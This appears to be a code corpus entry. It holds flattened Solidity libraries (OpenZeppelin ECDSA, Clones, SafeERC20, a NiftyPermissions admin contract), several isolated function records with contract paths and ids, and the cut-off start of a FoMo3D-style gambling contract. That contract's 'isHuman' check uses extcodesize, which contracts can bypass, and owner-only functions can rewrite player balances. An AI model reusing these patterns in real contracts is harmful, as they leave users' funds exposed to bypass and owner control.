Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./ERC165.sol"; import "./GenericErrors.sol"; import "../interfaces/INiftyEntityCloneable.sol"; import "../interfaces/INiftyRegistry.sol"; import "../libraries/Context.sol"; abstract contract NiftyPermissions is Context, ERC165, GenericErrors, INiftyEntityCloneable { event AdminTransferred(address indexed previousAdmin, address indexed newAdmin); // Only allow Nifty Entity to be initialized once bool internal initializedNiftyEntity; // If address(0), use enable Nifty Gateway permissions - otherwise, specifies the address with permissions address public admin; // To prevent a mistake, transferring admin rights will be a two step process // First, the current admin nominates a new admin // Second, the nominee accepts admin address public nominatedAdmin; // Nifty Registry Contract INiftyRegistry internal permissionsRegistry; function initializeNiftyEntity(address niftyRegistryContract_) public { require(!initializedNiftyEntity, ERROR_REINITIALIZATION_NOT_PERMITTED); permissionsRegistry = INiftyRegistry(niftyRegistryContract_); initializedNiftyEntity = true; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(INiftyEntityCloneable).interfaceId || super.supportsInterface(interfaceId); } function renounceAdmin() external { _requireOnlyValidSender(); _transferAdmin(address(0)); } function nominateAdmin(address nominee) external { _requireOnlyValidSender(); nominatedAdmin = nominee; } function acceptAdmin() external { address nominee = nominatedAdmin; require(_msgSender() == nominee, ERROR_INVALID_MSG_SENDER); _transferAdmin(nominee); } function _requireOnlyValidSender() internal view { address currentAdmin = admin; if(currentAdmin == address(0)) { require(permissionsRegistry.isValidNiftySender(_msgSender()), ERROR_INVALID_MSG_SENDER); } else { require(_msgSender() == currentAdmin, ERROR_INVALID_MSG_SENDER); } } function _transferAdmin(address newAdmin) internal { address oldAdmin = admin; admin = newAdmin; delete nominatedAdmin; emit AdminTransferred(oldAdmin, newAdmin); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol) pragma solidity 0.8.9; import "./Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; struct SignatureStatus { bool isSalted; bool isVerified; address signer; bytes32 saltedHash; } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./IERC165.sol"; interface INiftyEntityCloneable is IERC165 { function initializeNiftyEntity(address niftyRegistryContract_) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; interface INiftyRegistry { function isValidNiftySender(address sendingKey) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; /** * @title A base contract that may be inherited in order to protect a contract from having its fallback function * invoked and to block the receipt of ETH by a contract. * @author Nathan Gang * @notice This contract bestows on inheritors the ability to block ETH transfers into the contract * @dev ETH may still be forced into the contract - it is impossible to block certain attacks, but this protects from accidental ETH deposits */ // For more info, see: "https://medium.com/@alexsherbuck/two-ways-to-force-ether-into-a-contract-1543c1311c56" abstract contract RejectEther { /** * @dev For most contracts, it is safest to explicitly restrict the use of the fallback function * This would generally be invoked if sending ETH to this contract with a 'data' value provided */ fallback() external payable { revert("Fallback function not permitted"); } /** * @dev This is the standard path where ETH would land if sending ETH to this contract without a 'data' value * In our case, we don't want our contract to receive ETH, so we restrict it here */ receive() external payable { revert("Receiving ETH not permitted"); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; /** * @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for * deploying minimal proxy contracts, also known as "clones". * * > To simply and cheaply clone contract functionality in an immutable way, this standard specifies * > a minimal bytecode implementation that delegates all calls to a known, fixed address. * * The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2` * (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the * deterministic method. * */ library Clones { /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`. * * This function uses the create opcode, which should never revert. */ function clone(address implementation) internal returns (address instance) { assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create(0, ptr, 0x37) } require(instance != address(0), "ERC1167: create failed"); } /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`. * * This function uses the create2 opcode and a `salt` to deterministically deploy * the clone. Using the same `implementation` and `salt` multiple time will revert, since * the clones cannot be deployed twice at the same address. */ function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) { assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create2(0, ptr, 0x37, salt) } require(instance != address(0), "ERC1167: create2 failed"); } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress( address implementation, bytes32 salt, address deployer ) internal pure returns (address predicted) { assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000) mstore(add(ptr, 0x38), shl(0x60, deployer)) mstore(add(ptr, 0x4c), salt) mstore(add(ptr, 0x6c), keccak256(ptr, 0x37)) predicted := keccak256(add(ptr, 0x37), 0x55) } } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address implementation, bytes32 salt) internal view returns (address predicted) { return predictDeterministicAddress(implementation, salt, address(this)); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./IERC165.sol"; /** * @dev Interface for the NFT Royalty Standard. * * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal * support for royalty payments across all NFT marketplaces and ecosystem participants. * */ interface IERC2981 is IERC165 { /** * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of * exchange. The royalty amount is denominated and should be payed in that same unit of exchange. */ function royaltyInfo(uint256 tokenId, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount); } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./IERC165.sol"; import "../libraries/SafeERC20.sol"; interface ICloneablePaymentSplitter is IERC165 { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount); event PaymentReceived(address from, uint256 amount); function initialize(address[] calldata payees, uint256[] calldata shares_) external; function totalShares() external view returns (uint256); function totalReleased() external view returns (uint256); function totalReleased(IERC20 token) external view returns (uint256); function shares(address account) external view returns (uint256); function released(address account) external view returns (uint256); function released(IERC20 token, address account) external view returns (uint256); function payee(uint256 index) external view returns (address); function release(address payable account) external; function release(IERC20 token, address account) external; function pendingPayment(address account) external view returns (uint256); function pendingPayment(IERC20 token, address account) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; struct RoyaltyRecipient { bool isPaymentSplitter; // 1 byte uint16 bips; // 2 bytes address recipient; // 20 bytes } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "../interfaces/IERC20.sol"; import "./Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } }
See {IERC721-approve}./
function approve(address to, uint256 tokenId) public virtual override { address owner = ownerOf(tokenId); require(to != owner, ERROR_APPROVAL_TO_CURRENT_OWNER); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), ERROR_NOT_OWNER_NOR_APPROVED); _approve(owner, to, tokenId); }
5,974,290
./full_match/1/0xDe0318369550D2588be5C13A7212830795f13e2F/sources/contracts/VNFTxV5.sol
get a specific addon
function addonsOfNftByIndex(uint256 _nftId, uint256 _index) public view returns (uint256) { return addonsConsumed[_nftId].at(_index); }
3,032,604
./full_match/43113/0x25103879d48ed7DcE44Daf77CE49EE80E58e2CE9/sources/Pausable.sol
Returns to normal state. Requirements: - The contract must be paused./
function unpause() public whenPaused onlyAdmin { _paused = false; emit Unpaused(); }
7,129,840
pragma solidity ^0.4.24; // Contract setup ==================== contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(uint256 _id); event Unpause(uint256 _id); bool public paused_1 = false; bool public paused_2 = false; bool public paused_3 = false; bool public paused_4 = false; modifier whenNotPaused_1() { require(!paused_1); _; } modifier whenNotPaused_2() { require(!paused_2); _; } modifier whenNotPaused_3() { require(!paused_3); _; } modifier whenNotPaused_4() { require(!paused_4); _; } modifier whenPaused_1() { require(paused_1); _; } modifier whenPaused_2() { require(paused_2); _; } modifier whenPaused_3() { require(paused_3); _; } modifier whenPaused_4() { require(paused_4); _; } function pause_1() onlyOwner whenNotPaused_1 public { paused_1 = true; emit Pause(1); } function pause_2() onlyOwner whenNotPaused_2 public { paused_2 = true; emit Pause(2); } function pause_3() onlyOwner whenNotPaused_3 public { paused_3 = true; emit Pause(3); } function pause_4() onlyOwner whenNotPaused_4 public { paused_4 = true; emit Pause(4); } function unpause_1() onlyOwner whenPaused_1 public { paused_1 = false; emit Unpause(1); } function unpause_2() onlyOwner whenPaused_2 public { paused_2 = false; emit Unpause(2); } function unpause_3() onlyOwner whenPaused_3 public { paused_3 = false; emit Unpause(3); } function unpause_4() onlyOwner whenPaused_4 public { paused_4 = false; emit Unpause(4); } } contract JCLYLong is Pausable { using SafeMath for *; event KeyPurchase(address indexed purchaser, uint256 eth, uint256 amount); event LeekStealOn(); address private constant WALLET_ETH_COM1 = 0x2509CF8921b95bef38DEb80fBc420Ef2bbc53ce3; address private constant WALLET_ETH_COM2 = 0x18d9fc8e3b65124744553d642989e3ba9e41a95a; // Configurables ==================== uint256 constant private rndInit_ = 10 hours; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 24 hours; // eth limiter uint256 constant private ethLimiterRange1_ = 1e20; uint256 constant private ethLimiterRange2_ = 5e20; uint256 constant private ethLimiter1_ = 2e18; uint256 constant private ethLimiter2_ = 7e18; // whitelist range uint256 constant private whitelistRange_ = 1 days; // for price uint256 constant private priceStage1_ = 500e18; uint256 constant private priceStage2_ = 1000e18; uint256 constant private priceStage3_ = 2000e18; uint256 constant private priceStage4_ = 4000e18; uint256 constant private priceStage5_ = 8000e18; uint256 constant private priceStage6_ = 16000e18; uint256 constant private priceStage7_ = 32000e18; uint256 constant private priceStage8_ = 64000e18; uint256 constant private priceStage9_ = 128000e18; uint256 constant private priceStage10_ = 256000e18; uint256 constant private priceStage11_ = 512000e18; uint256 constant private priceStage12_ = 1024000e18; // for gu phrase uint256 constant private guPhrase1_ = 5 days; uint256 constant private guPhrase2_ = 7 days; uint256 constant private guPhrase3_ = 9 days; uint256 constant private guPhrase4_ = 11 days; uint256 constant private guPhrase5_ = 13 days; uint256 constant private guPhrase6_ = 15 days; uint256 constant private guPhrase7_ = 17 days; uint256 constant private guPhrase8_ = 19 days; uint256 constant private guPhrase9_ = 21 days; uint256 constant private guPhrase10_ = 23 days; // Data setup ==================== uint256 public contractStartDate_; // contract creation time uint256 public allMaskGu_; // for sharing eth-profit by holding gu uint256 public allGuGiven_; // for sharing eth-profit by holding gu mapping (uint256 => uint256) public playOrders_; // playCounter => pID // AIRDROP DATA uint256 public airDropPot_; // person who gets the airdrop wins part of this pot uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop mapping (uint256 => mapping (uint256 => uint256)) public airDropWinners_; // counter => pID => winAmt uint256 public airDropCount_; // LEEKSTEAL DATA uint256 public leekStealPot_; // person who gets the first leeksteal wins part of this pot uint256 public leekStealTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning leek steal uint256 public leekStealToday_; bool public leekStealOn_; mapping (uint256 => uint256) public dayStealTime_; // dayNum => time that makes leekSteal available mapping (uint256 => uint256) public leekStealWins_; // pID => winAmt // PLAYER DATA uint256 public pID_; // total number of players mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address // mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => Datasets.Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (uint256 => Datasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id mapping (uint256 => mapping (uint256 => Datasets.PlayerPhrases)) public plyrPhas_; // (pID => phraseID => data) player round data by player id & round id // ROUND DATA uint256 public rID_; // round id number / total rounds that have happened mapping (uint256 => Datasets.Round) public round_; // (rID => data) round data // PHRASE DATA uint256 public phID_; // gu phrase ID mapping (uint256 => Datasets.Phrase) public phrase_; // (phID_ => data) round data // WHITELIST mapping(address => bool) public whitelisted_Prebuy; // pID => isWhitelisted // Constructor ==================== constructor() public { // set genesis player pIDxAddr_[owner] = 0; plyr_[0].addr = owner; pIDxAddr_[WALLET_ETH_COM1] = 1; plyr_[1].addr = WALLET_ETH_COM1; pIDxAddr_[WALLET_ETH_COM2] = 2; plyr_[2].addr = WALLET_ETH_COM2; pID_ = 2; } // Modifiers ==================== modifier isActivated() { require(activated_ == true); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000); require(_eth <= 100000000000000000000000); _; } modifier withinMigrationPeriod() { require(now < 1535637600); _; } // Public functions ==================== function deposit() isWithinLimits(msg.value) onlyOwner public payable {} function migrateBasicData(uint256 allMaskGu, uint256 allGuGiven, uint256 airDropPot, uint256 airDropTracker, uint256 leekStealPot, uint256 leekStealTracker, uint256 leekStealToday, uint256 pID, uint256 rID) withinMigrationPeriod onlyOwner public { allMaskGu_ = allMaskGu; allGuGiven_ = allGuGiven; airDropPot_ = airDropPot; airDropTracker_ = airDropTracker; leekStealPot_ = leekStealPot; leekStealTracker_ = leekStealTracker; leekStealToday_ = leekStealToday; pID_ = pID; rID_ = rID; } function migratePlayerData1(uint256 _pID, address addr, uint256 win, uint256 gen, uint256 genGu, uint256 aff, uint256 refund, uint256 lrnd, uint256 laff, uint256 withdraw) withinMigrationPeriod onlyOwner public { pIDxAddr_[addr] = _pID; plyr_[_pID].addr = addr; plyr_[_pID].win = win; plyr_[_pID].gen = gen; plyr_[_pID].genGu = genGu; plyr_[_pID].aff = aff; plyr_[_pID].refund = refund; plyr_[_pID].lrnd = lrnd; plyr_[_pID].laff = laff; plyr_[_pID].withdraw = withdraw; } function migratePlayerData2(uint256 _pID, address addr, uint256 maskGu, uint256 gu, uint256 referEth, uint256 lastClaimedPhID) withinMigrationPeriod onlyOwner public { pIDxAddr_[addr] = _pID; plyr_[_pID].addr = addr; plyr_[_pID].maskGu = maskGu; plyr_[_pID].gu = gu; plyr_[_pID].referEth = referEth; plyr_[_pID].lastClaimedPhID = lastClaimedPhID; } function migratePlayerRoundsData(uint256 _pID, uint256 eth, uint256 keys, uint256 maskKey, uint256 genWithdraw) withinMigrationPeriod onlyOwner public { plyrRnds_[_pID][1].eth = eth; plyrRnds_[_pID][1].keys = keys; plyrRnds_[_pID][1].maskKey = maskKey; plyrRnds_[_pID][1].genWithdraw = genWithdraw; } function migratePlayerPhrasesData(uint256 _pID, uint256 eth, uint256 guRewarded) withinMigrationPeriod onlyOwner public { // pIDxAddr_[addr] = _pID; plyrPhas_[_pID][1].eth = eth; plyrPhas_[_pID][1].guRewarded = guRewarded; } function migrateRoundData(uint256 plyr, uint256 end, bool ended, uint256 strt, uint256 allkeys, uint256 keys, uint256 eth, uint256 pot, uint256 maskKey, uint256 playCtr, uint256 withdraw) withinMigrationPeriod onlyOwner public { round_[1].plyr = plyr; round_[1].end = end; round_[1].ended = ended; round_[1].strt = strt; round_[1].allkeys = allkeys; round_[1].keys = keys; round_[1].eth = eth; round_[1].pot = pot; round_[1].maskKey = maskKey; round_[1].playCtr = playCtr; round_[1].withdraw = withdraw; } function migratePhraseData(uint256 eth, uint256 guGiven, uint256 mask, uint256 minEthRequired, uint256 guPoolAllocation) withinMigrationPeriod onlyOwner public { phrase_[1].eth = eth; phrase_[1].guGiven = guGiven; phrase_[1].mask = mask; phrase_[1].minEthRequired = minEthRequired; phrase_[1].guPoolAllocation = guPoolAllocation; } function updateWhitelist(address[] _addrs, bool _isWhitelisted) public onlyOwner { for (uint i = 0; i < _addrs.length; i++) { whitelisted_Prebuy[_addrs[i]] = _isWhitelisted; } } // buy using last stored affiliate ID function() isActivated() isHuman() isWithinLimits(msg.value) public payable { // determine if player is new or not uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { pID_++; // grab their player ID and last aff ID, from player names contract pIDxAddr_[msg.sender] = pID_; // set up player account plyr_[pID_].addr = msg.sender; // set up player account _pID = pID_; } // buy core buyCore(_pID, plyr_[_pID].laff); } function buyXid(uint256 _affID) isActivated() isHuman() isWithinLimits(msg.value) public payable { // determine if player is new or not uint256 _pID = pIDxAddr_[msg.sender]; // fetch player id if (_pID == 0) { pID_++; // grab their player ID and last aff ID, from player names contract pIDxAddr_[msg.sender] = pID_; // set up player account plyr_[pID_].addr = msg.sender; // set up player account _pID = pID_; } // manage affiliate residuals // if no affiliate code was given or player tried to use their own if (_affID == 0 || _affID == _pID || _affID > pID_) { _affID = plyr_[_pID].laff; // use last stored affiliate code // if affiliate code was given & its not the same as previously stored } else if (_affID != plyr_[_pID].laff) { if (plyr_[_pID].laff == 0) plyr_[_pID].laff = _affID; // update last affiliate else _affID = plyr_[_pID].laff; } // buy core buyCore(_pID, _affID); } function reLoadXid() isActivated() isHuman() public { uint256 _pID = pIDxAddr_[msg.sender]; // fetch player ID require(_pID > 0); reLoadCore(_pID, plyr_[_pID].laff); } function reLoadCore(uint256 _pID, uint256 _affID) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // whitelist checking if (_now < round_[rID_].strt + whitelistRange_) { require(whitelisted_Prebuy[plyr_[_pID].addr] || whitelisted_Prebuy[plyr_[_affID].addr]); } // if round is active if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { uint256 _eth = withdrawEarnings(_pID, false); if (_eth > 0) { // call core core(_rID, _pID, _eth, _affID); } // if round is not active and end round needs to be ran } else if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; endRound(); } } function withdraw() isActivated() isHuman() public { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // setup temp var for player eth uint256 _eth; // check to see if round has ended and no one has run round end yet if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // end the round (distributes pot) round_[_rID].ended = true; endRound(); // get their earnings _eth = withdrawEarnings(_pID, true); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // in any other situation } else { // get their earnings _eth = withdrawEarnings(_pID, true); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); } } function buyCore(uint256 _pID, uint256 _affID) whenNotPaused_1 private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // whitelist checking if (_now < round_[rID_].strt + whitelistRange_) { require(whitelisted_Prebuy[plyr_[_pID].addr] || whitelisted_Prebuy[plyr_[_affID].addr]); } // if round is active if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // call core core(_rID, _pID, msg.value, _affID); // if round is not active } else { // check to see if end round needs to be ran if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; endRound(); } // put eth in players vault plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID) private { // if player is new to current round if (plyrRnds_[_pID][_rID].keys == 0) { // if player has played a previous round, move their unmasked earnings // from that round to gen vault. if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, 